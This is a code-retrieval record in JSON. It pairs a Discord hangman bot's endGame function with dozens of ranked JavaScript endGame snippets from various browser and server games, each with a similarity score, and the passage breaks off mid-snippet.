[ { "docid": "5cad56519bdf25256a8e51c59d7e458a", "score": "0.7877911", "text": "async endGame() {\n cooldownList[this.startingPlayer.id] = Date.now();\n if(this.messageCollector) await this.messageCollector.stop();\n if(this.reactionCollector) await this.reactionCollector.stop();\n await this.deleteLastMessage();\n let reply = '';\n let score = 0;\n switch(this.state.action) {\n case 'GAME_WON':\n score = this.getScore();\n reply = messageBuilder.template(HangmanGame.gameMessages.GAME_WON, {\n player: this.startingPlayer.id,\n word: this.word,\n score: score,\n guesses: this.guessesLeft\n });\n break;\n\n case 'GAME_LOST':\n reply = messageBuilder.template(HangmanGame.gameMessages.GAME_LOST, {\n player: this.startingPlayer.id,\n word: this.word\n });\n break;\n\n case 'GAME_GIVE_UP':\n reply = messageBuilder.template(HangmanGame.gameMessages.GAME_GIVE_UP, {\n player: this.startingPlayer.id,\n word: this.word\n });\n break;\n }\n await this.saveResult(score);\n await this.startingMessage.channel.send(reply);\n delete games[`${this.startingMessage.guild.id}.${this.startingPlayer.id}`];\n }", "title": "" } ]
[ { "docid": "c996d738b34959198dbd39a2c40ede08", "score": "0.8353585", "text": "function endGame() {\n// This function is called when everything is solved\n}", "title": "" }, { "docid": "8709a3d5b95075183e0065d0f498a939", "score": "0.81633115", "text": "function endGame()\n\t{\n\t\tdone();\n\t\treset();\n\t\t$('#stats').show();\n\t\t$('#main').hide();\n\t\t$('#rightGuesses').html('<p>' + 'Correct Guesses: ' + correctGuesses +'<p>');\n\t\t$('#wrongGuesses').html('<p>' + 'Incorrect Guesses: ' + incorrectGuesses + '<p>');\n\t\t$('#skippedGuesses').html('<p>' + 'Skipped Guesses: ' + skippedGuesses + '<p>');\n\t}", "title": "" }, { "docid": "491c16f1709e8ab8f86251f0f1192ba4", "score": "0.8119344", "text": "function endGame() {\n clearInnterval(timer);\n }", "title": "" }, { "docid": "14f22d15050b8cf82072e6656313082d", "score": "0.80017155", "text": "function endGame(){\n\t\t\tgame.state.start('MainMenu');\n\t\t\tendingSong.stop();\n\t\t}", "title": "" }, { "docid": "3822c34f46d7e435166f78843fa227a9", "score": "0.79604685", "text": "function ExitGame() {\n EndGame();\n clearBoard();\n clearPlayers();\n\n hideGame();\n selectGamemode();\n}", "title": "" }, { "docid": "44a8ff523b7bd33f12f9446917a8c068", "score": "0.7957671", "text": "function endGame() {\n\tconsole.log(\"End Game Call.\");\n\tremoveControls();\n\n}", "title": "" }, { "docid": "13444874fd624131599d51db608921d1", "score": "0.7951433", "text": "function endGame() {\n\t\tclearInterval(interval);\n\t\tif(gameOverCallback !== null) {\n\t\t\tvar text = 'You traveled ' + index + ' m.';\n\t\t\tgameOverCallback(text);\n\t\t}\n\t}", "title": "" }, { "docid": "d0e0c717be7e579db59f0bb2518f65da", "score": "0.7942473", "text": "endGame() {\r\n\t\tvar winner = this.getNextPlayer().id;\r\n\t\t$('.winner').remove();\r\n\t\t$(`<div class=\"winner\"><p><span>player ${winner}</span></p><p>Won the game!</p></div>`).appendTo('.intro');\r\n\t\t$(\"#welcome\").hide();\r\n\t\t$(\"#game_over\").show();\r\n\t\t$(\"#fight\")[0].pause();\r\n\t\t$(\"#homer1\")[0].play();\r\n\t\t$(\".gameBoard\").fadeOut(500, function(){\r\n\t\t$('.intro').fadeIn(500);});\r\n\t\t$(\"#play\").click(function(){\r\n\t\t\t$(\".intro\").fadeOut(500, function(){\r\n\t\t\t\t$(\".gameBoard\").fadeIn(500);\r\n\t\t\t});\r\n\t\t\t$('#board').empty();\r\n\t\t\tstartGame();\r\n\t\t});\r\n\t}", "title": "" }, { "docid": "2931466cde64f85e09aace1cc40b89c8", "score": "0.7914285", "text": "function endGame(){\n if(!ended){\n p1.actionReset();\n p2.actionReset();\n ended = true;\n beatLoopTimer.destroy(); //kill the beatloop timer (or it will run even if the game has ended)\n music.endMusic();\n if (p1.getPv() <= p2.getPv()){\n p2.addWin();\n }else{\n p1.addWin();\n }\n reStartGame();\n }\n}", "title": "" }, { "docid": "50b85cada75525b8cded00f3f3414477", "score": "0.78785723", "text": "function endGame(result) {\n gameStarted = false;\n postData();\n refreshHighScores();\n // Show the menu\n loadStartMenu(result);\n}", "title": "" }, { "docid": "bd313240afc9891f0dd0106bb6dec82d", "score": "0.78310174", "text": "function endGame() { // Resets the game & says who scored a point.\n \n }", "title": "" }, { "docid": "4cf5911e0ac15a739e5a8811f62a333a", "score": "0.78234607", "text": "function endGame(){\n clearInterval(counter);\n // Sets a new HiScore, if applicable\n if(points > hiScore){\n hiScore = points;\n }\n game = [false, false, false, false, false, false, false, false, false];\n cats = 0;\n points = 0;\n up = [false, false, false, false, false, false, false, false, false];\n hit = [false, false, false, false, false, false, false, false, false];\n pos = [1, 1, 1, 1, 1, 1, 1, 1, 1];\n timeLeft = 0;\n\n // Really ends the game\n started = false;\n}", "title": "" }, { "docid": "1433044f0245fe0c7e4a98676be1719b", "score": "0.7811553", "text": "end(){\n console.log(\"game ended\");\n game.update(2);\n }", "title": "" }, { "docid": "ee97ed92ce2e2009c3dac47f11ceedfb", "score": "0.77668965", "text": "endGame () {\n this.isOver = true;\n let endPlayerTime = new Date();\n this.totalTime = endPlayerTime - this.startTime;\n this.notifyWinListeners();\n }", "title": "" }, { "docid": "c8539cc6fea4be070e405e75214fefa1", "score": "0.7758111", "text": "end() {\n\t\t// Freeze input\n\t\tthis.hasEnded = true;\n\t\tthis.canMove = false;\n\t\tthis.moveQueue.splice(0);\n\t\t// Add the game over overlay\n\t\tthis.element.append($new('#end').append(\n\t\t\t$new('header').text('Game Over'),\n\t\t\t$new('button.undo')\n\t\t\t\t.append(\n\t\t\t\t\t$new('.icon'),\n\t\t\t\t\t$new('label').text('Undo Move')\n\t\t\t\t)\n\t\t\t\t.on('click', () => this.undo()),\n\t\t\t$new('button.new')\n\t\t\t\t.append(\n\t\t\t\t\t$new('.icon'),\n\t\t\t\t\t$new('label').text('New Game')\n\t\t\t\t)\n\t\t\t\t.on('click', () => this.newGame())\n\t\t));\n\t\tga('send', 'event', 'Game Over', 'Menu', '', NAV.score);\n\t}", "title": "" }, { "docid": "4e17f5bdf43417b71f62d258a7221157", "score": "0.7733877", "text": "function EndGame() {\n clearIntervals();\n audio.pause();\n if (victory !== 0) {\n gameOverAudio.play();\n setTimeout(function () { gameOverAudio.pause(); }, 4000);\n }\n else {\n winnerAudio.play();\n setTimeout(function () { winnerAudio.pause(); }, 3000);\n }\n HomeWindow();\n}", "title": "" }, { "docid": "7ece4d33080ce79bb6429281f79d4d5f", "score": "0.77284503", "text": "function gameEnd () {\n\tif (playerPoints === limitOfRounds) {\n\t\twriteText(playerName + ' won the the entire game!<br>');\n\t\tnewGameActive = false;\n\t}\n\tif (computerPoints === limitOfRounds) {\n\t\twriteText('Computer won the entire game!<br>');\n\t\tnewGameActive = false;\n\t}\n}", "title": "" }, { "docid": "70fd3f7cfbd7f9a38ec45ca23132fcb1", "score": "0.7726311", "text": "function endGame() {\n state = pause;\n currentScene++;\n roadScene1.visible = false;\n roadScene2.visible = true;\n resultText.visible = false;\n resultCenti.visible = false;\n resultMeter.visible = false;\n human.visible = false;\n spear.visible = false;\n setPositionRoadScene2();\n if (scoreList.indexOf(0) == -1) {\n winner.visible = true;\n } else {\n end.visible = true;\n }\n setTimeout(() => {\n gameScene.visible = false;\n totalScoreNum.text = scoreList.reduce((a, b) => a + b, 0);\n resultScene.visible = true;\n }, 1500);\n}", "title": "" }, { "docid": "1996c2b309cf39be115d6dc314c56975", "score": "0.7711337", "text": "function endGame(){\n\tif(world.score.current > world.score.high){\n\t\tworld.score.high = world.score.current;\n\t}\n\tworld.stop = true;\n\tbird.alive = false;\n\tdocument.querySelector(\".game-over\").style.display = \"flex\";\n}", "title": "" }, { "docid": "56733d3d0102c2814fe69193efc4fc1e", "score": "0.7685805", "text": "end() {\n\t\t\n\t\t// set the status of the game to false\n\t\tthis.status = false;\n\t\t\n\t\t// display loss message\n\t\tthis.message(\"Sorry you lost :(\", 'lose');\n\t\t\n\t\t// reveal word\n\t\tthis.maskedWord = this.selectedWord;\n\n\t\t// add play again button\n\t\tthis.replay('lose');\n\t\t\t\n\t}", "title": "" }, { "docid": "2c11e7d60d00ff3f9f298a047f4d05b4", "score": "0.76827663", "text": "function endGame(e) {\n this.gameOver = true;\n console.log('Game ended by: ', e.target);\n alert('Game over!');\n }", "title": "" }, { "docid": "690cc5e2acd8f58f4e0c1ffacd8e0956", "score": "0.7678018", "text": "function endGame(io, game, status, reason) {\n io.in(game).emit('game-finished', status, reason)\n if (games[game].timeout) clearInterval(games[game].timeout)\n}", "title": "" }, { "docid": "4462a89e907bb467900c00f99a2d31a9", "score": "0.7667496", "text": "function endGame() {\n\tgameFile = gameLocation;\n\tconsole.log(\"end Game \");\n\tconsole.log(gameFile);\n\t\n\tTeamOneLoggedIn = false;\n\tTeamTwoLoggedIn = false;\n\t\n\t//Emit a GameEnded event to the font end\n\tio.sockets.emit(\"GameEnded\"); \n\t//Check if game is still running\n\tif (gameFile.isActive){\n\t\t//set status of game to not running therefore false\n\t\tgameFile.isActive = false;\n\t\t//upload the game json\n\t\t//uploadJSON(gameFile);\n\t\t//set score of both teams to null for next game\n\t\tgameFile.goalsTeamOne = 0;\n\t\tgameFile.goalsTeamTwo = 0;\n\t\tconsole.log(\"Game is active? \" + gameFile.isActive);\n\t} else {\n\t\tconsole.log(\"No game running\");\n\t\tgameFile.goalsTeamOne = 0;\n\t\tgameFile.goalsTeamTwo = 0;\n\t}\n}", "title": "" }, { "docid": "d533db3e6dd8ba5c4b3896dd0a5cc2b7", "score": "0.7660302", "text": "function endGame() {\n if (matchedCard === 8) {\n stopTime();\n launchModal();\n }\n }", "title": "" }, { "docid": "f4fe7c27754afac9aee9325948ab8604", "score": "0.764798", "text": "function endGame(){\n\n //Winner \n if(score===70 )\n {\n objectManager.StatusType=StatusType.Off;\n document.getElementById(\"Winner\").style.display=\"block\";\n document.getElementById(\"ui_lives\").style.display=\"none\";\n document.getElementById(\"ui_score\").style.display=\"none\";\n soundManager.Play(\"Winner\");\n soundManager.Pause(\"background\");\n\n document.getElementById(\"Winner\").style.display=\"block\";\n //Code for restarting the game\n if(keyboardManager.IsKeyDown(Keys.R))\n {\n var gameTime = new GameTime();\n lives=3;\n score=0;\n StartGame(gameTime);\n }\n }\n //Loser\n if(lives===0 )\n {\n document.getElementById(\"ui_lives\").style.display=\"none\";\n document.getElementById(\"ui_score\").style.display=\"none\";\n objectManager.StatusType=StatusType.Off;\n document.getElementById(\"Loser\").style.display=\"block\";\n soundManager.Play(\"Loser\");\n soundManager.Pause(\"background\");\n document.getElementById(\"Loser\").style.display=\"block\";\n\n if(keyboardManager.IsKeyDown(Keys.R))\n {\n var gameTime = new GameTime();\n lives=3;\n score=0;\n StartGame(gameTime);\n }\n\n\n }\n\n}", "title": "" }, { "docid": "9a722e3e778618541e42f17f23b2b660", "score": "0.76477295", "text": "endGame(winner, code) {\n log(`Game ended (${code}) ! Winner is ${winner} on [${this.id}]`);\n this.ai = null;\n }", "title": "" }, { "docid": "f528b45cc6afee6ddeb8c8b43d0214cb", "score": "0.7614726", "text": "function gameFinish() {\n gGame.isGameOn = false;\n gGame.isGameOver = true;\n gGame.endTime = Date.now();\n getScore();\n clearInterval(gGame.timerInterval);\n}", "title": "" }, { "docid": "11abe4eb15106321f962411433a35bef", "score": "0.7595002", "text": "endGame() {\n this.gameOver = true;\n document.removeEventListener(\"keydown\", this.boundHandleKeyDown);\n }", "title": "" }, { "docid": "ff641e59fa4b30c99b1968f768fba6ef", "score": "0.75936985", "text": "function endGame(victory) {\n clearInterval(new_positions);\n if (victory) victory = \"victory\";\n else victory = \"loose\";\n io.sockets.in(game.gameId).emit('gameOver', {\n \"result\": victory,\n \"score\": game.nbArtefacts\n });\n // TODO : check UserId \n score = {\n duration: game.currentBar,\n userId: 1, // int\n trackId: game.trackId\n };\n db.score.create(score, function (err, result) {\n if (err) logger.error(err);\n });\n gameSocket.disconnect(true);\n\n game.audioStreamPipe.pause()\n game.audioStreamPipe.destroy()\n\n logger.info('End of the game this is a ' + victory);\n}", "title": "" }, { "docid": "ad580e80c4f09d6dd8a78975095e77d7", "score": "0.75883543", "text": "function endGame(){\n while(stage.children.length > 0)\n stage.removeChildAt(0);\n \n createMessage();\n\n if(won){\n var ending = createBitmap(stage.canvas.width / 2 - 200, stage.canvas.height / 2 - 200, 400, HAPPY_END);\n stage.addChild(ending);\n\n showLastMessage(\"You Won\");\n }else{\n var ending = createBitmap(stage.canvas.width / 2 - 200, stage.canvas.height / 2 - 200, 400, BOWSER);\n stage.addChild(ending);\n \n createjs.Sound.play(\"gameover\");\n showLastMessage(\"You Lost\");\n }\n }", "title": "" }, { "docid": "d717a5bf9375b260b3fad7f88bde2732", "score": "0.7578113", "text": "function endGame(){\r\n startScene.visible = false;\r\n gameOverScene.visible = true;\r\n gameScene.visible = false;\r\n end();\r\n}", "title": "" }, { "docid": "07aba427e82274bf01f06bff27ade4f3", "score": "0.7566961", "text": "function endGame() {\n\twriteDebug(arguments.callee.name);\n\n hideQuestions();\n displayScores();\n writeEndRoundText();\n writeEndGameResults ();\n\n document.getElementById(\"topText\").innerHTML+=\"More rounds?\";\n $(\"#button-answer\").hide();\n $(\"#button-newGame, #button-exitGame\").show();\n}", "title": "" }, { "docid": "4b81d4c23eaf6456bf8c12e50d13cc18", "score": "0.7564392", "text": "function endGame() {\n gameOver = true;\n // Cancel the animation frame\n window.cancelAnimationFrame(reqId);\n \n audioBkg.pause();\n audioBkg.currentTime = 0;\n\n audioStart.play();\n\n hide(document.getElementById('stats'));\n show(document.getElementById('overlay'));\n show(document.getElementById('game-over'));\n show(document.getElementById('audio-ctl'));\n \n //show(document.getElementById('game-over'));\n }", "title": "" }, { "docid": "7c03f73a27f070360736dc295ceb6148", "score": "0.7548892", "text": "function endGame() {\n // Stop the spawn interval\n clearInterval(timeoutId);\n // Show the final score\n reset();\n context.fillStyle = 'white';\n context.font = '24px Arial';\n context.textAlign = 'center';\n context.fillText('Game Over. Final Score: ' + score, canvas.width / 2, canvas.height / 2);\n context.font = '24px Arial';\n context.fillText('Click to Start', canvas.width / 2, (canvas.height / 4) * 3);\n canvas.addEventListener('click', startGame);\n}", "title": "" }, { "docid": "88604815b1df999f9fa6dca8ef4fe524", "score": "0.7533699", "text": "function endGame() {\n endTime();\n displayModal();\n}", "title": "" }, { "docid": "c50f5c61c9fdd9661aa225e24f20db08", "score": "0.75326705", "text": "function endgame(score)\n\t\t{\n\t\t\t$('.face').children().each(function () //for each tile on each face\n\t\t\t{ \n\t\t\t\tchild = $(this);\n\t\t\t\tchild.unbind() //unbind tap listener\n\t\t\t})\n\t\t\talert(\"The Game Has Ended, Your Score Was:\" + score + \" Well Done!\"); //alert final score.\n\t\t\tseconds = undefined; //removes game counter from memory\n\t\t\t$('.ui-dialog').dialog('close'); //closes game dialog\n\t\t}", "title": "" }, { "docid": "cf3304bead9cc1655366554f6dabd63f", "score": "0.7529186", "text": "function endGame() {\n channelInstances.myPublishChannel.publish('end-game', {\n endGame: true\n });\n}", "title": "" }, { "docid": "c515b5d239e016881c809ffddf246ee0", "score": "0.75242954", "text": "function endGame(msg=\"wawoo\") {\n // TODO: pop up alert message\n alert(msg);\n resetBoard();\n resetLogic();\n}", "title": "" }, { "docid": "595f2bf5879dc9e06d2e3685ea216158", "score": "0.7514399", "text": "function end() {\n\t// paused=true;\n\tstartScreen=true;\n\tbackgroundSound.stop();\n\tif (walls[0] != null) {\n\t\tgameScene.removeChild(walls[0]);\n\t}\n\tif (highScore < score) {\n\t\tlocalStorage.setItem(hsKey, score);\n\t}\n\tif (highLevel < level) {\n\t\tlocalStorage.setItem(hsLevel, level);\n\t}\n\tgameOverLabel1.text = `Highscore: ${localStorage.getItem(hsKey)}`;\n\tgameOverLabel2.text = `Highest Level: ${localStorage.getItem(hsLevel)}`;\n\tgameOverScene.visible = true;\n\tgameScene.visible = false;\n\tif(darkMode){\n\t\tinGameSoundDarkMode.stop();\n\t}\n\telse{\n\t\tinGameSoundLightMode.stop();\n\t}\n\tgameOverSound.play();\n}", "title": "" }, { "docid": "39ba2f298ee90e6485ab8576bd72f2ab", "score": "0.7507062", "text": "function endGame(){\n if (secLeft === -1 ||qNumber === questions.length) {\n \n }\n\n}", "title": "" }, { "docid": "11a8d15f563d86a067f94993f0c59f38", "score": "0.7491437", "text": "function endGame() {\n if (scoresArr.length === 5 && score >= 3) {\n // fieldctx.clearRect(0, 0, 1275, 735);\n // $(\".game-board\").addClass(\"winScreen\");\n win.play();\n setTimeout(function () {\n // alert(\"You win!!! Click OK to play again.\");\n swal({\n title: \"You win!\",\n text: \"Click below to play again.\",\n confirmButtonText: \"PLAY AGAIN\",\n confirmButtonColor: \"#008df9\",\n }, function() {\n window.location = \"index.html\";\n });\n }, 1100)\n // setTimeout (function () {\n // location.reload();\n // },2001)\n } else if (scoresArr.length === 5 && score < 3) {\n lose.play();\n setTimeout(function () {\n // alert(\"Looks like you need some more practice. Click OK to try again.\")\n swal({\n title: \"You Lose!\",\n text: \"Looks like you need some more practice. Click below to face off against Hope Solo again.\",\n confirmButtonText: \"PLAY AGAIN\",\n confirmButtonColor: \"#008df9\",\n }, function() {\n window.location = \"index.html\";\n });\n }, 1100)\n // setTimeout(function () {\n // location.reload();\n // },2001)\n } else {\n cheering.play();\n setTimeout(function () {\n var theBall = new Ball();\n currentGame.ball = theBall;\n var theKeeper = new Keeper();\n currentGame.keeper = theKeeper;\n hopeSoloImageSource = \"images/solo-ready.png\";\n }, 2200)\n }\n }", "title": "" }, { "docid": "45cf2e70d2fcb67ad6a19203138a14bf", "score": "0.74869776", "text": "endGame() {\n\n // display all cenas (mines)\n for (var i = 0; i < this.mines.length; i++) {\n this.mines[i].visited = true;\n }\n\n // if audio already playing don't play it more\n if (this.audioPlaying) return;\n\n // win or lose\n if (this.winner) {\n alert('You win!');\n } else {\n\n // play audio\n this.audioPlaying = true;\n this.audio.play();\n\n }\n\n var _this = this;\n\n // display gif after little break\n setTimeout(function () {\n _this.displayGif = true;\n }, 2500);\n\n }", "title": "" }, { "docid": "c37998f5f8e95d126fd90dd047f47fad", "score": "0.74850506", "text": "function endGame()\n {\n // Mario reaches Peach\n if(map.mapSpots[marioLocation.marioRow][marioLocation.marioColumn] === map.peach)\n {\n var youWin = document.getElementById(\"youWin\");\n youWin.play();\n\n // Show end screen when Mario has reached Peach\n var end = document.getElementById(\"endScreen1\");\n end.style.display = \"block\";\n }\n // Mario hits Bowser\n else if(bowserLocation.bowserRow === marioLocation.marioRow && bowserLocation.bowserColumn === marioLocation.marioColumn)\n {\n // Show the end screen\n var end = document.getElementById(\"endScreen3\");\n end.style.display = \"block\";\n // Pause this music in case Mario dies at same time Bowser gets him\n var marioDies = document.getElementById(\"marioDies\");\n marioDies.pause();\n // Show end screen\n var bowserLaugh = document.getElementById(\"bowserLaugh\");\n bowserLaugh.play();\n }\n else // Mario runs out of coins or gold\n {\n // Show the end screen\n var end = document.getElementById(\"endScreen2\");\n end.style.display = \"block\";\n\n // Mute piranha sound (if that is how Mario dies)\n var vine = document.getElementById(\"vine\");\n vine.pause();\n\n // Mute goomba sound (if that is how Mario dies)\n var goomba = document.getElementById(\"goomba\");\n goomba.pause();\n\n // Play \"game over\" music\n var marioDies = document.getElementById(\"marioDies\");\n marioDies.play();\n\n }\n\n // Remove the keyboard listener to end the game\n window.removeEventListener(\"keydown\", keydownHandler, false);\n }", "title": "" }, { "docid": "af844f3592f83d2ab235c97b182239b0", "score": "0.7472065", "text": "function end () {\n if(gameEnd === true) {\n document.getElementById(\"final-screen\").className = \"text-center\";\n document.getElementById(\"winner\").innerHTML = winner;\n gameEnd = false;\n aiFirst= false;\n player = \"\";\n ai = \"\";\n winner = \"\";\n\n }\n }", "title": "" }, { "docid": "a115119bd509cdb507a810579b5a68f6", "score": "0.74699444", "text": "function finishGame() {\n if (qcount === questionList.length) {\n endG();\n }\n }", "title": "" }, { "docid": "7e560be2945de987179c080189de07cb", "score": "0.74526656", "text": "function endGame() {\n stop();\n checkAnswers();\n $(\"#correct-answers\").text(\"Correct answers: \" + correctAnswers);\n $(\"#incorrect-answers\").text(\"Incorrect answers: \" + incorrectAnswers);\n $(\"#blank-answers\").text(\"Unanswered questions: \" + blankAnswers);\n $(\"#questions\").hide();\n $(\"#results\").show();\n $(\"#show-timer\").hide();\n\n }", "title": "" }, { "docid": "9558ac5268f4394f98ddb989d01139e8", "score": "0.74443704", "text": "function endTurn() {\n\tvar moves = getValidMoves();\n\tif (moves.length != 0) {\n\t\tthrow {\n\t\t\tmessage: \"Turn is not finished.\",\n\t\t\tvalidMoves: moves\n\t\t};\n\t}\n\tif (!checkWin()) {\n\t\trollDone = false;\n\t\tGameState.turn = +!GameState.turn;\n\t}\n}", "title": "" }, { "docid": "b5fc04d1394e2af1c03538d1f8012fab", "score": "0.7432711", "text": "function endGame() {\n $(\".game div.section\").not(\"#death\").hide();\n $(\".game #death\").show();\n status.hide();\n $(\".game #death button\").click(function(event) {\n location.reload();\n });\n }", "title": "" }, { "docid": "65818acab4b49796f7717004ff29e520", "score": "0.7427962", "text": "function endGame()\n{\n\t//creates Winner text\n\tvar winnerText;\n\tif (findScore(1)>findScore(-1)){\n\t\twinnerText = \"Black Wins! \"\n\t}\n\telse if (findScore(-1)>findScore(1)){\n\t\twinnerText = \"White Wins! \"\n\t}\n\telse {\t\t\n\t\twinnerText = \"Tie Game! Maybe there are no winners in war. \"\n\t}\n\t\n\t//updates info div with winner info and button to start new game\n\tinfoDisplay = winnerText + \"<input type='button' value='Start New Game' onclick='startGame();' />\";\n\tgapi.hangout.data.submitDelta({\n\t\tinfoDisplay:\tinfoDisplay\n\t});\t\n\n}", "title": "" }, { "docid": "0f9ac4e4e065effb89182dc3eb4fc1fb", "score": "0.74215156", "text": "function endGame(){\n\tgameOver = true;\n\tif(getPoints() >= requiredPoints){\n\t\talert(\"you won\");\n\t}\n\telse if(getNumCaught() == snitchPoints){\n\t\talert(\"you won\");\n\t}\n\telse{\n\t\talert(\"you lost\");\n\t}\t\n}", "title": "" }, { "docid": "bedd20648429ffe64cc2f6894ebd5a5d", "score": "0.74158907", "text": "endGameNow() {\n const old_gameStarted = this._game.started;\n\n if (this._game.startScheduled) this.cancelGameStart();\n if (this._round.startScheduled) this.cancelRoundStart();\n if (this._round.endScheduled) this.cancelRoundEnd();\n if (this._game.endScheduled) this.cancelGameEnd();\n\n // Manual round ending\n this._round.started = false;\n if (old_gameStarted) this.scheduleGameEnd(-1, false);\n }", "title": "" }, { "docid": "0474ffda5c924db3f3899800fbce7717", "score": "0.74127454", "text": "function end(){\n Manager.clearGame();\n changeState(gameConfig.GAME_STATE_START_SCENE);\n}", "title": "" }, { "docid": "ada6650a17ba3e53a7344d1f722e067b", "score": "0.7404311", "text": "endGameTimeout() {\n\t\tthis.board.prolongation = true;\n\t}", "title": "" }, { "docid": "a226df469b7d08daafcd0328ddefd8bd", "score": "0.7398157", "text": "function EndGame() {\n RemoveController();\n StopTimer();\n}", "title": "" }, { "docid": "b7aa6d4dac5031787fb5699168f9b417", "score": "0.7396984", "text": "function endGame() {\n // stop the interval timer\n clearInterval(interval);\n\n // turn off event handlers\n $(document).off();\n }", "title": "" }, { "docid": "76ebfa2413999da67abb63f853c241b2", "score": "0.7390956", "text": "function endGame() {\n if (count === 0) {\n $(\"#lose\")[0].play();\n alert(\"Better Luck Next Time Padawon\");\n clearTimeout(timerId);\n $('.board').off(\"click\");\n } else if (matchedCells.length === 12) {\n clearTimeout(timerId);\n $('.board').off(\"click\");\n $(\"#win\")[0].play();\n alert(\"You Won with \" + count + \" seconds to spare! \\n The Force is Strong in you!\");\n reset();\n }\n}", "title": "" }, { "docid": "347865df440cde60c65db7bcbaf3e791", "score": "0.73809284", "text": "function endGame() {\n calcGameTime();\n if (confirm(`You\\'ve completed the game in ${moveCounter} moves.\n \\nIt took you ${totalGameTime} to complete.\n \\nYou earned ${stars} stars.\n \\nDo you want to play again?`)) {\n resetGame();\n }\n}", "title": "" }, { "docid": "5a7cea30c4698c4e58d57d43078cc27b", "score": "0.73702556", "text": "function endGame()\n{\n processResponse(\"quick_exit\");\n}", "title": "" }, { "docid": "679d1fbb10b76d2cc6c9bed9f04a5519", "score": "0.73683095", "text": "function endGame() {\n setTimeout(finishSetup, 5000);\n game.started = false;\n turn = -1;\n players.forEach((p) => {\n discarded = discarded.concat(p.hand.splice(0));\n });\n }", "title": "" }, { "docid": "63829ce2d974ec797652e275195b0bec", "score": "0.73662215", "text": "function endGame() {\n GAME_OVER_IMG.show(\"bounce\", 1000, function () {\n GAME_OVER_IMG.animate({bottom: '30'}, 100);\n RESTART_BTN.show(\"bounce\", 1000);\n });\n clearInterval(START_ANIMATION);\n clearInterval(START_CREATION);\n GAME_OVER = true;\n}", "title": "" }, { "docid": "85024997d0288e95cc31f6159158d6ac", "score": "0.7364347", "text": "function endgame() {\n clearInterval(quizInterval);\n}", "title": "" }, { "docid": "c35bb87d142c128680c09dee682d0a30", "score": "0.73627365", "text": "function endOfGame () {\n game.timeHolder.hide ();\n seconds = \"empty\";\n runGameStats ();\n game.questionPage.hide ();\n game.endPage.show(); \n currentIndex = 0\n }", "title": "" }, { "docid": "140f254ceb67ed597d7fd87775671c53", "score": "0.7360736", "text": "function handleGameEnd() {\n setSnakeDots(initialSnake);\n setFood(randomFood);\n setDirection(initialDirection);\n setSpeed(speedFunction === 'SONIC' ? 50 : initialSpeed);\n dispatch(flipSnakeStarted());\n }", "title": "" }, { "docid": "442269b97f901185d36f0f0e767b10ac", "score": "0.7359956", "text": "function endRound() {\n if (lives <= 0) {\n gameInPlay = false;\n showInfo(\"endgame\");\n } else {\n ballOnPaddle = true;\n showInfo(\"middle\");\n lives--;\n }\n}", "title": "" }, { "docid": "96856d2bdadef4e815f25b7443ebea2e", "score": "0.73595214", "text": "function endTurn() {\n return;\n}", "title": "" }, { "docid": "2c19bb70788759414bfe3bb3ed7d2693", "score": "0.7346591", "text": "function endGame() {\n if(livesCounter === 0 || winCounter === 3){\n gameOver === true;\n livesCounter = 3;\n winCounter = 0;\n alert(\"Game over. Press enter to restart.\")\n }\n}", "title": "" }, { "docid": "413f11a6df363998ad412da6c4a06351", "score": "0.73333716", "text": "endGame() {\n this.stats.fingerLifted = this.canvasData.fingerLiftedCounter;\n this.stats.undo = this.canvasData.undoCounter;\n this.stats.clear = this.canvasData.clearCounter;\n console.log(this.stats);\n \n this.appController.clearTimerInterval();\n this.appController.scores = new Score(this.win, this.timeElapsed, this.stats);\n this.appController.endScreenController.display();\n }", "title": "" }, { "docid": "5776f4f254b2b5a66817a33044462c1e", "score": "0.7327275", "text": "function endGame(){\n endMessage();\n openModal();\n}", "title": "" }, { "docid": "b77fb22c5a7633126fb77db5be3ba2a5", "score": "0.73270214", "text": "function endGame() {\n //stop music\n music.pause();\n\n //show ending page\n game.style.display = \"none\";\n endGameDiv.style.display = \"block\";\n\n //remove keydown listener\n window.removeEventListener(\"keydown\", keyHandler, false);\n\n //check how player reached end\n if (map[shipRow][shipCol] === HOME) {\n //won\n endHeader.innerHTML = \"You have won!\";\n endMessage.innerHTML = \"Final Score: \" + (platinum + oxygen + experience);\n\n } else {\n //lost\n endHeader.innerHTML = \"You have lost!\";\n if (gameObjects[shipRow][shipCol] === ALIEN) {\n //Eaten by alien\n endMessage.innerHTML = \"You have been eaten by the alien!\";\n } else {\n //Out of oxygen\n endMessage.innerHTML = \"You have run out of oxygen!\";\n }\n }\n\n //Show platinum, oxygen, and experience whether won or lost\n endMessage.innerHTML += \"<br/> Platinum: \" + platinum + \"<br/> Oxygen: \" +\n oxygen + \"<br/> Experience: \" + experience;\n \n}", "title": "" }, { "docid": "86e2eb1bb1f99bc309e68e91bf7fbc9d", "score": "0.73193586", "text": "function endGame() {\n // hide the game area\n $(\"#uiGameArea\").hide();\n // show the game over area\n $(\"#uiGameOver\").show();\n}", "title": "" }, { "docid": "6950134d103d96b94416535468205eb5", "score": "0.7319303", "text": "static endGame(id){\n\t\tif (id === 0) {\n\t\t\tGame.list[id].reset();\n\t\t\tconsole.log('0 reset.');\n\t\t\treturn;\n\t\t}\n\t\tif (Game.list[id])\n\t\t\tGame.list[id].time_left = 0;\n\t\tdelete Game.list[id];\n\t\tconsole.log('Game ' + (100+id) + ' ended.')\n\t}", "title": "" }, { "docid": "db3ad7f896dd53b13d41c8cfa6f5d2c4", "score": "0.7317455", "text": "function endGame(connInfo, phaser, server) {\r\n // use an open stock, if applicable, otherwise use any stock\r\n var stocks = AcquireServer.player(server, connInfo.selfId).stocks;\r\n var openStocks = Object.keys(stocks)\r\n .filter(function (k) { return stocks[k] === 0; });\r\n var hotelId = undefined;\r\n if (openStocks.length > 0)\r\n hotelId = openStocks[0];\r\n else\r\n hotelId = stocks.american;\r\n var stock = phaser.self.stocks[hotelId];\r\n var sprite = stock.sprite;\r\n var acqReq = { type: AcquireServer.RequestType.EndGame,\r\n player: connInfo.selfId };\r\n var destroyFn = function () { return clickSprite.destroy(true); };\r\n var clickSprite = spriteClick(connInfo, phaser, sprite, acqReq, \"End Game\", destroyFn);\r\n return destroyFn;\r\n }", "title": "" }, { "docid": "2e80e4d1e80bff6b68c916263bb7833a", "score": "0.73070633", "text": "function endGame(wonTheGame) {\r\n console.log(\"Spiel wurde beendet.\");\r\n /* Je nachdem ob man gewonnen oder verloren hat, taucht eine Nachrticht auf Glückwunsch oder Verloren */\r\n if (wonTheGame) {\r\n alert(\"CONGRATULATIONS / GLÜCKWUNSCH!!\\nWINNER!!\\n\\nAGAIN?\");\r\n }\r\n else {\r\n alert(\"LOSER.\\n\\nAGAIN?\");\r\n }\r\n /* Leert alle 